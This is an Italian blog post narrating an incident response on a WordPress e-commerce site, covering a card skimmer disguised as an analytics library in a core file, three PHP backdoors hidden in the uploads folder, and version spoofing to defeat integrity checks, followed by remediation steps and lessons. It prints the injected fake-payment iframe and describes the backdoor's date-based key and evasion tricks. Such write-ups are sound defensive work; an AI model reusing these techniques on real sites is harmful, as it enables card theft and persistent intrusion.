18 Mesi Dentro il Server

Luca Barbi

18 Mesi Dentro il Server

Un racconto reale di incident response: backdoor nascoste, form di pagamento falsi, e le lezioni che ogni e-commerce dovrebbe imparare.

La segnalazione

È un mercoledì di aprile e ho la febbre a 39. Grazie, asilo di mio figlio.

Una collaboratrice scrive su Slack:

“Sono spariti PayPal e bonifico come opzione di pagamento. Il form del checkout è diverso.”

Grazie, dio degli sviluppatori.

Al posto dei gateway di pagamento che conosciamo, c’è un form di carta di credito che non dovrebbe essere lì. Bianco, minimale, apparentemente innocuo, ma non è nostro.

Primo pensiero: un plugin si è aggiornato e ha fatto casino. Succede. Indago, trovo del codice JavaScript sospetto iniettato in un plugin legittimo di tipo header/footer, lo rimuovo. Pulisco alcuni file che non mi convincono. Lancio una scansione di sicurezza. Risultato: tutto pulito. Problema risolto.

Torno a sdraiarmi esausto.

A volte (spesso) ritornano

Quattro giorni dopo, la febbre se n’è andata. Al contrario, lo stesso form ricompare. Identico. Questo cambia tutto: non è un plugin corrotto, è qualcuno che ha accesso persistente al server e può rimettere il malware ogni volta che lo rimuovo.

Questa volta vado in profondità.

L’analisi forense

Il form falso

La prima cosa che faccio è isolare esattamente cosa viene iniettato. Nel codice sorgente del checkout trovo un iframe:

<iframe id="pmntgtw" 
   src="https://assets.[dominio-attaccante].com/forms/squarewhite/" 
   style="border:none; display:block; min-width:100%; height:29px;"
></iframe>

Un form di pagamento fraudolento, caricato da un dominio esterno, sovrapposto al form reale. Il cliente inserisce i dati della carta pensando di pagare mentre i dati vanno all’attaccante.

Lo skimmer nel core

Per capire come viene iniettato, uso un trucco simpatico: sovrascrivo il metodo document.createElement così da intercettare la creazione di iframe e fermarlo col debugger del browser.

Lo stack trace mi porta al file wp-includes/js/wp-util.min.js — un file core di WordPress.

Lo apro e trovo questo incipit:

/*! Inbound Analytics v1.0.0 | (c) 2018 Inbound Now */

Ovviamente non è Analytics e il resto del codice è un credit card skimmer completo. Analizzandolo scopro che:

  • Intercetta tutti i campi di input su ogni pagina del sito in tempo reale

  • Esfiltra i dati verso un server esterno mascherandosi da callback di Contact Form 7

  • Carica un secondo payload da remoto (second-stage) per aggiornare il malware dinamicamente

  • Inietta l’iframe col form di pagamento falso

  • Offusca tutto con tripla codifica Base64 con inversione delle stringhe

Lavoro professionale. Non è uno script kiddie. Sono il solito fortunello!

Il version spoofing

Provo a verificare l’integrità dei file core con wp core verify-checksums. Non funziona. La versione risulta essere “6.9.4-alp”, una versione che non esiste.

L’attaccante ha alterato wp-includes/version.php per mettere un numero di versione fittizio. Così facendo ha disabilitato lo strumento principale che avrebbe rilevato la modifica ai file core. Stronzo. Ma elegante. Più stronzo che elegante.

Le backdoor

Poi cerco file PHP nella directory uploads. Non dovrebbero essercene e invece ne trovo tre:

File

Data

Funzione

wp-content/uploads/2023/09/wp-file-processor.php

29 ottobre 2024

Autenticazione admin senza credenziali

wp-content/uploads/nav/nav-renderer.php

29 aprile 2025

Copia ridondante della backdoor admin

wp-content/uploads/temp/block-renderer.php

29 aprile 2025

Shell SQL completa con accesso al database

Sono, inutile dirlo, tre backdoor. La prima è stata installata 18 mesi prima della scoperta.

La backdoor di autenticazione funziona con una chiave che è l’MD5 della data corrente concatenata a “wp” — cambia ogni giorno, rendendo inutili i rilevamenti basati su firme statiche. L’attaccante la chiama da browser, ottiene un cookie di sessione admin, e ha il controllo completo del sito.

La shell SQL è ancora più grave: consente l’esecuzione di qualsiasi query sul database tramite semplici richieste POST, con un’interfaccia web integrata e export CSV. Tutti i dati dei clienti, gli ordini, gli indirizzi, gli hash delle password, accessibili senza autenticazione. Se non bestemmio guarda...

La timeline

Un download del sito che avevo fatto a dicembre 2025 per configurare un nuovo portatile mi ha dato un dato fondamentale: a quella data il file core era ancora integro. Questo ha permesso di restringere la finestra dello skimmer a circa 4 mesi.

L’analisi della distribuzione dei metodi di pagamento ha confermato che il form falso (quello visibile che sostituiva PayPal e bonifico) era stato attivato solo pochi giorni prima della scoperta, perché i volumi di PayPal e bonifico erano normali fino a marzo.

Timeline ricostruita:

Ottobre 2024     → Prima backdoor installata

Aprile 2025      → Seconda e terza backdoor (inclusa SQL shell)

Dicembre 2025    → Ultima verifica: file core ancora integro

Gen-Mar 2026     → Skimmer silenzioso attivo (intercetta input in background)

~Aprile 2026     → Attivazione componente visibile (form carta falso)

9 Aprile 2026    → Segnalazione interna, primo intervento parziale

13 Aprile 2026   → Scoperta completa, rimozione totale, contenimento

Perché gli strumenti di sicurezza non l’hanno trovato

Il sito aveva Wordfence attivo (firewall + scanner) e SiteGround Site Scanner (scansione giornaliera). Nessuno dei due ha rilevato nulla. Le scansioni del 10, 11 e 13 aprile — dopo il primo intervento — davano tutte “nessun malware trovato.”

L’attaccante ha usato tecniche progettate specificamente per eludere questi strumenti:

  • File nella directory uploads/ — esclusa dai controlli di integrità dei file core

  • Nomi che imitano componenti WordPress — nav-renderer, block-renderer, wp-file-processor

  • Version spoofing — disabilita wp core verify-checksums

  • Nessuna modifica ai plugin o al tema — invisibile agli scanner che cercano modifiche nei file dei plugin

  • Chiave di autenticazione rotante — basata sulla data, cambia ogni giorno

  • Malware mascherato da analytics — copyright fittizio, struttura da libreria legittima

  • Persistenza multilivello — rimuoverne uno non serve, gli altri rimettono tutto in piedi

La remediation

In sintesi, cosa abbiamo fatto:

  1. Attivazione immediata della manutenzione per bloccare il sito

  2. Rimozione dello skimmer dal file core

  3. Rimozione delle tre backdoor

  4. Ripristino completo dei file core da fonti verificate

  5. Correzione del version spoofing

  6. Verifica integrità con checksum

  7. Cambio di tutte le credenziali (SSH, DB, admin WP, salt)

  8. Reset password forzato per tutti gli utenti

  9. Blocco esecuzione PHP nella directory uploads

  10. Aggiornamento di tutti i componenti

  11. Eliminazione dell’ambiente di staging

  12. Notifica al Garante Privacy

  13. Querela alla Polizia Postale

  14. Comunicazione agli interessati

I numeri

Perimetro

Dati esposti

Interessati

Periodo

Form carta falso

Numeri carta + CVV

Non determinabile (pochi giorni)

~Aprile 2026

Skimmer silenzioso

Dati anagrafici checkout

~400 clienti

Dic 2025 — Apr 2026

SQL shell

Intero database

~1.900 clienti

Apr 2025 — Apr 2026

Utenti registrati

Hash password

~3.000 utenti

Apr 2025 — Apr 2026

Un dato importante: il form di pagamento reale (Stripe Elements) funziona tramite un iframe protetto dal browser. Il JavaScript malevolo non poteva accedere ai campi dentro quell’iframe. Quindi i dati delle carte sono stati esposti solo attraverso il form falso — che era attivo per pochi giorni — non tramite il collector silenzioso che era attivo da mesi. Questo ha significativamente ridotto il perimetro del danno più grave.

Le lezioni

1. Blocca PHP nella directory uploads

È la singola misura che avrebbe impedito il funzionamento delle tre backdoor. Due righe di .htaccess:

<FilesMatch "\.(?:php|phtml|php[0-9]|phps)$">
   Require all denied
</FilesMatch>

Non c’è nessun motivo legittimo per eseguire PHP nella directory uploads di WordPress: aggiungilo ora.

2. Gli scanner automatici non bastano

Wordfence e SiteGround Site Scanner non hanno rilevato nulla per 18 mesi. Non perché siano strumenti scadenti, anzi: sono ottimi strumenti, ma operano su regole e pattern conosciuti. Un attaccante che conosce i limiti degli scanner può aggirarli. Servono anche controlli manuali periodici: verifiche di integrità dei file, ricerca di PHP nella uploads, monitoraggio dei file modificati di recente.

3. Il version spoofing è un attacco al tooling

Alterare la versione di WordPress è una mossa geniale dal punto di vista dell’attaccante: non compromette il funzionamento del sito ma disabilita lo strumento che lo scoprirebbe. Se wp core verify-checksums vi dà errori strani sulla versione, non è un bug: è un red flag.

4. La persistenza multilivello vince quasi sempre

La prima volta che sono intervenuto, ho rimosso il plugin compromesso e dei file sospetti. Non è bastato perché l’attaccante aveva lo skimmer nel file core, le backdoor nella uploads e il version spoofing come protezione. Rimuoverne uno o due non serve. Serve la remediation completa: file core da fonti verificate, scan della uploads, cambio di tutte le credenziali, verifica checksums.

5. Conservate sempre i backup locali

Un download del sito fatto mesi prima per motivi completamente diversi (configurazione di un nuovo laptop) si è rivelato l’evidenza chiave che ha permesso di restringere la finestra dello skimmer da 18 mesi a 4. Senza quello, il perimetro stimato degli interessati sarebbe stato molto più ampio.

6. La Content Security Policy è il vostro airbag

Se avessimo avuto una CSP che limitava i domini da cui potevano essere caricati iframe e script, l’iframe del form falso non avrebbe funzionato. La CSP non previene l’intrusione, ma limita drasticamente i danni.

7. Il GDPR non è burocrazia, è un piano di risposta

Quando abbiamo scoperto la compromissione, il GDPR ci ha dato una struttura: 72 ore per notificare il Garante, comunicazione agli interessati, documentazione delle evidenze, misure di contenimento. Senza quel framework, la risposta sarebbe stata caotica. Con quel framework, in 72 ore avevamo: analisi forense completa, sito messo in sicurezza, notifica al Garante inviata, querela presentata, comunicazione ai clienti preparata.

Conclusione

L’attaccante era dentro da 18 mesi. Aveva accesso admin, accesso al database, e un malware nel core di WordPress che nessuno strumento automatico ha rilevato. La scoperta è avvenuta per un dettaglio visivo: il form di pagamento era diverso dal solito. Una collaboratrice l’ha notato e ha scritto su Slack.

A volte la sicurezza non è fatta di WAF e scanner, è fatta di persone attente che notano i dettagli.

  • ecommerce
  • cyber security
  • malware
  • incident response

Sullo stesso argomento

Potrebbero interessarti

© 2014-26 coine.it - Tutti i diritti riservati
P.IVA: IT03615310368